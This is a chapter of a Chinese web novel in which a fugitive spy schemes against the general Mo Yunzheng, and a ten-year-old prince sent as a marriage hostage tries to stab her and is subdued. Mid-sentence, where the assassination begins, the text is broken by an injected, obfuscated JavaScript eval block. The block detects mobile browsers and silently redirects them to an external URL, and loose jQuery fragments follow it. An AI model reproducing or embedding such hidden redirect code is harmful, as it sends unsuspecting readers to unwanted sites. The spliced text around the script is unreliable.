3. 第三章

作品:《折玉予卿gb

    玄烛边境一深山中。


    “玄烛短短一月内,攻下了羲和两城七州......”


    一白衣青年卧在床榻上,身上盖着厚重的衾被,瘦弱的像是下一刻就被压垮折断般,抚着胸口细细喘着。


    “咳,咳咳。”


    破风箱般的声音环绕在寂静的木屋中,在梁上饶了一圈才勉强停下。


    “你说,领头的,是那墨云徵?”青年咳了半晌,狐狸似的双眸都蒙上了一层水雾,却冷冷地瞥向面前安静侍立着黑衣人。


    黑衣人低着头微微点了点:“而且,她每占领一处便要抓住当地将领盘问,是否见过一个叫安祁的男子......还有曾经的于清军师。”


    “哈,她倒是小肚鸡肠,死死揪着我不放。”萧祁安苍白的脸上漫上淡淡红晕,如樱的唇瓣勾起一抹极具嘲讽的笑意。


    若是早知这人是这样一个性子,他怎么都不会亲自去那狼窝做卧底,白白搭上这副沉疴病体不说,还被逼得到处逃窜。


    本来想着给她留一条生路,才派了那个走了关系的蠢货,凭自己对墨云徵本事的了解,她们虽然会败,但也足够让墨云徵活着回去。


    谁想到他根本就是着了那女人的道。


    蠢货的性命他自然无甚在意,倒是她死了,反而能让那鸠占鹊巢之人恶心个一阵,倒也死得其所。只是这么一弄,他便成了羲和的罪人,哪还能回去擎等着被抓。原本慢慢渗透羲和朝堂的计划也付之一炬,胎死腹中。


    想来陪着墨云徵虚与委蛇的那段日子,他萧祁安真是被鬼了迷心窍。


    那般的温柔体贴,快要没了底线的纵容,竟是都演给他瞧的。枉他破了从未破的例,只为了她对安祁的真心相待。


    那晚他就该......


    萧祁安修的平整的指甲深深的扣到衾被中,却因无力又颤抖着松开了。


    罢了。


    就算他真的动手,也未必成功,不说他早就因为幼年被下的毒变成如今这样,没等掐死墨云徵就先被打死了。就算她死了,玄烛也不是真的无人可用,也只会让他再多些麻烦。


    在收到羲和兵败的消息时,萧祁安便知道自己早就暴露了,连忙假死离开,就避开墨云徵暗地里安排监视他的人,就花费了一番手段。


    他死的蹊跷,本就只能骗骗不知道的人,萧祁安从未想过可以瞒过她。


    谁知这女人一点退路没给他留,竟是连他在羲和军中的名字都挖出来了。


    说到底还是他技不如人。


    小瞧了以那种面目示人的墨云徵,听传言只以为她是个风流好搞的角色,在战略上小有能力,却没想到是个工于心计,难以拿捏的。


    “真是时也,命也。”


    萧祁安靠在床头,露出脆弱纤细的脖颈,双眸微阖,轻叹一声。


    “吩咐你去查的另一件事可有眉目?”青年平复了半晌才重新睁眼,清泠泠的眼隐去了水色,带着些许锐利。


    当年宫变之事蹊跷,这些年他边躲避羲和女帝的追杀,边收揽旧部,还不忘找到当时是谁提供支援,直接导致前朝覆灭的帮手。


    前两事都在他苦心经营下稳步进行,唯有最后一事迟迟没有动静。


    “禀公子,属下此番......”黑衣人闻言立即凑到萧祁安耳侧低语。


    “好啊,你带我去那处,然后回去领赏。”萧祁安终于舒颜展眉,白玉葱段似的手递到黑衣人面前,黝黑的眼瞳中带着志在必得的幽火:“扶我梳洗,即刻启程,一定要赶在墨云徵回去之前到达。”


    这次,他定要让这风水轮转到她墨云徵头上。


    ......


    “将军,羲和那边的降书已经送达,使者说和亲的公子随后就到,让我们稍作等候。”


    亲信将手中降书递给墨云徵,便后退一步回到原地站好。


    “如今仗也打完了,小雨你也别这么紧绷了,来坐。”墨云徵接过降书放到一旁,笑眯眯的冲周雨招手。


    “将军,这于理不合,属下哪能跟您坐在一起,更别说您本应罚属下办事不利的罪,却赦免了属下,周雨又怎敢逾越。”


    周雨诚惶诚恐的连忙摇头,吓得直后退,却被墨云徵一把拉到面前,轻轻点了点她的额头。


    “你这小古板,吩咐你去做事时又没下死令,怎么还提罚不罚的?找不到就算了,一个男人而已,哪有你们重要。”


    看着周雨仍隐隐抗拒的模样,墨云徵扬了扬眉尾,没再强迫她。


    “你不愿算了,况且那于清本就狡猾,连羲和都不知他的来历,你去寻又能寻出个什么名堂。”


    “话说,这羲和派来和亲的公子是个什么来头,排场不小,陪嫁加上赔款,快要把羲和国库给掏空一半了吧。”墨云徵摸了摸下巴,凑到过去同周雨低声八卦。


    周雨抿了抿唇,伸手放在唇边,附身在墨云徵耳边道:“听说是羲和女帝的长子,才十岁的年纪,还是前朝皇帝的血脉呢,这不一有机会,就像是烫手山芋般扔给了咱们玄烛。”


    说是和亲,实际上同质子没有太大区别。


    墨云徵眯了眯眼,仔细品味其中关窍。


    如今的羲和女帝,曾是前朝皇帝后宫中的贵妃,不知何种不足为外人道的原因发动了宫变,推翻了前朝的男尊制度,学着她们玄烛,自己称了女帝,又改了现在的国号。


    算算时间,这和亲公子,便是羲和女帝宫变后不久生下的长子了。


    只是十年之间,被养在宫外的行宫别苑,也没有被封为皇长子,想来是不被喜爱的。


    “只是给他陪了这么多嫁妆,总要找个合适的皇室宗亲相配才好,如今适龄的,也就是五皇女了吧。”墨云徵拿起降书把玩着,“只是他们年纪还小,若是要完婚,怎么也得等个七八年,况且五皇女被陛下保护的太好,现在都从未露过一面……”


    周雨与她四目相对,明白了她未尽之意。


    七八年后的局势,谁人都说不清,这羲和女帝属实是把自己的长子往火坑里推。


    “当真是心狠啊。”


    墨云徵摇摇头:“父母之爱子,则为之计深远,却抵不过最是无情……”


    “羲和萧亦尘前来拜见墨将军。”


    蓦地,门外突然响起了一道稚嫩的声音,介于幼儿与少年之间,大抵是舟车劳顿,此刻微微有些哑。


    周雨听到响动,赶紧起身离了墨云徵耳畔,端正的站到了她身后。


    她一走,墨云徵也能毫无遮掩的看到来人。


    萧亦尘的身量已经稍微抽条,大抵因为不受宠,身上也没有二两多余的肉,披着厚重的红色嫁衣也没法撑得好看,带着面纱,眉眼恭顺低垂地行着拜礼。


    连身后跟着的侍从也少的可怜,难掩疲态。


    “萧公子,一路辛苦了,接下来便由我护送你到玄烛都城。”


    墨云徵勾唇笑着,礼貌的起身去迎他。


    只是她才托着萧亦尘的手腕,想让人收了拜礼,便看到了他藏在宽大嫁衣袖袍中,即将刺向自己的暗芒。


    墨云徵呼吸停滞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499545|185991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一瞬,身体下意识的动了起来,两指将刀身打飞,又伸手去擒萧亦尘的另一只手。


    少年见匕首被弹飞,刺杀不成,又飞扑去捡匕首意图自尽。


    那纤弱的身子没等跃出多远,就被墨云徵轻易拦腰抱住,双臂被固定在头顶。


    一切变故仅发生在几息之间,除了两个当事人,其余人都没来的及做出反应,便尘埃落定。


    墨云徵攥着萧亦尘交叠的手腕,将人提着扔到了身后的桌案上,俯视着这个胆大包天的少年。


    “萧公子莫要挣扎,墨某不是什么怜香惜玉的人。”


    她的笑容从刚才到现在虽没有一点变化,眸子却冷的吓人。


    萧亦尘到底只是一个十岁的孩子,伤人自尽不成,也没了其他法子,与墨云徵对视的那一刻,泪水便从那双小狗似的眼睛里涌了出来。


    原本挂在他脸上的面纱也在刚才掉到了地上,此刻萧亦尘的面容直直的映在了墨云徵眼里。


    虽然稚嫩,但真是像极了。


    “小雨,将萧公子的侍从请出去,我有话单独问。”


    墨云徵看的出神了一瞬,就又恢复了寻常模样。她掐着少年的脸,不让他乱动,一边威胁着迟迟不愿离开的侍从,一边暗自仔细端详。


    “只是说些话,墨某不会做其他的龌龊之事,你们大可放心,问完后,我可以当做无事发生,将你们全须全尾送到都城,若是你们不配合,那就别怪我了。”


    墨云徵抬眼看向那几人,见眼中的危险之意并不作假,他们这才一步三回头的离开了。


    待屋内只剩了二人,墨云徵才柔了声音:“我松开手,你别乱动。”


    “你不能杀我,我是母……母皇最喜欢的长子,是来和亲的。”


    萧亦尘已经完全没了刚刚鼓起的那股劲,连刚刚墨云徵的安抚都没有听到,只抽抽哒哒的哭,还不忘拿出身份虚张声势。


    只是他又怎么能骗过面前这个人精。


    墨云徵心中了然,却仍不动声色:“你说你母皇最喜欢你,那你父君是谁,也是你母皇最喜欢的?”


    萧亦尘听到她问起这个,愣了一下,随后又咬着唇瓣不知怎么回答。


    “父君……父君死了,我不知道。”他说得磕磕绊绊,眼神飘忽,就是不看墨云徵。


    “呵……”墨云徵轻笑,捏着他脸颊的力道微微加重,将擦了脂粉的娇嫩皮肤都按出了淡淡红痕


    “你乖乖的,我就不杀你,毕竟你已经出了羲和边界,若是我想要你的命,现在没人拦得住我,反之,若你诚实一点,我还能在你进了都城之后护着你。”


    萧亦尘虽年幼,却并非看不懂眼色,不识时务的蠢货,见墨云徵这般,就知道她并未因他是小孩而哄骗,的确是如此想的。


    “是前朝皇帝。”他闷闷回答道。


    既已经配合,墨云徵也没在擒着他的手腕,掐着他脸颊的手也松了松,改成托着他的下巴。


    “可有人说过,你的眼睛像父君?”女人弯了眉眼,指腹轻轻在他带着指痕的脸颊上轻轻摩挲。


    萧亦尘被他母皇不喜的就是这双眼睛。


    母皇只要看到他时,总是会嘟囔一句:“怎么这般像,看得人心生厌烦。”便把年幼,还渴望母爱的稚童拂开。


    见他的次数越来越少,最后甚至于将他扔到宫外不闻不问。


    “有的,母皇说过。”少年挂着泪珠的眼睫微微颤抖,却仍老实的回答。


    墨云徵看着那副样子,心中一个荒诞的念头逐渐浮现。